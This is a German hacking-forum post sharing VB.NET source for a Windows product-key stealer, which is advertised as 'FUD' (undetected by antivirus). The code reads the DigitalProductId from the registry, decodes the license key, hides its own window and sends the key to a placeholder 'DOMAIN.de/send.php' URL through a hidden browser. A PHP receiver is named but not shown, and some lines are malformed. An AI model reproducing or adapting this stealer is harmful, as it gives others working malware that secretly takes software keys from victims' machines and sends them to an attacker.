[VB.NET] Fud WindowsKeyStealer + PHP

  • Hallo zusammen,
    habe vorhin meinen PC aufgeräumt und eine Klasse zum Keyauslesen wiedergefunden. Darauf habe ich sofort einen Windowskeystealer daraus gebastelt und bin vorhin fertig geworden.
    Der Source ist FUD (Full Undetected) ~ by r3miX


    KeyStealer VB.NET:

    Code
    1. Imports System.EnvironmentPublic Class Form1 Public Class GetCDKeyFromWindows#Region &quot;Functions&quot; Public Shared ReadOnly Property ReturnProductKey() As String Get Return GetCDKey() End Get End Property Private Shared Function GetCDKey() As String Dim tmp() As Byte ReDim Preserve tmp(14) Dim Valuename As String = &quot;DigitalProductId&quot; Dim Path As String = &quot;Software\Microsoft\Windows NT\CurrentVersion&quot; Dim n As Integer Try Dim hObject As Object = _ My.Computer.Registry.LocalMachine.OpenSubKey( _ Path, False).GetValue( _ Valuename, Nothing) If hObject.GetType() Is GetType(Byte()) Then Dim Content() As Byte = CType(hObject, Byte()) For n = 52 To 66 tmp(n - 52) = Content(n) Next End If Dim chars() As Byte = { _ Asc(&quot;B&quot;), Asc(&quot;C&quot;), Asc(&quot;D&quot;), Asc(&quot;F&quot;), Asc(&quot;G&quot;), Asc(&quot;H&quot;), Asc(&quot;J&quot;), Asc(&quot;K&quot;), _ Asc(&quot;M&quot;), Asc(&quot;P&quot;), Asc(&quot;Q&quot;), Asc(&quot;R&quot;), Asc(&quot;T&quot;), Asc(&quot;V&quot;), Asc(&quot;W&quot;), Asc(&quot;X&quot;), _ Asc(&quot;Y&quot;), Asc(&quot;2&quot;), Asc(&quot;3&quot;), Asc(&quot;4&quot;), Asc(&quot;6&quot;), Asc(&quot;7&quot;), Asc(&quot;8&quot;), Asc(&quot;9&quot;)} Dim Current As Integer Dim Result As String = &quot;&quot; For n = chars.Length To 0 Step -1 Current = 0 For k As Integer = tmp.Length - 1 To 0 Step -1 Current = Current * 256 Xor tmp(k) tmp(k) = CType(Int(Current / 24), Byte) Current = Current Mod 24 Next Result = Microsoft.VisualBasic.Strings.Chr(chars(Current)) & Result If n Mod 5 = 0 And n <> 0 Then Result = &quot;-&quot; & Result Next Return Result Catch ex As Exception MessageBox.Show(ex.Message.ToString, &quot;Info&quot;) End Try Return &quot;&quot; End Function#End Region End Class Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.ShowInTaskbar = False Me.Opacity = 0 Dim url As String = &quot;DOMAIN.de/send.php?svc= Dim key As String = GetCDKeyFromWindows.ReturnProductKey() Dim wb As New WebBrowser wb.Navigate(url & key) System.Threading.Thread.Sleep(2000) System.Environment.Exit(0) End SubEnd Class



    [COLOR="Red]Send.php![/COLOR]


    Code by: [COLOR="Red]r3miX[/COLOR] (Und Google FTW :>)


    Originallink: http://board.codesoft.cc/showthread.php?t=2882
    Und ja, ich bin r3miX x.x (L1ght1 kann es bestätigen!)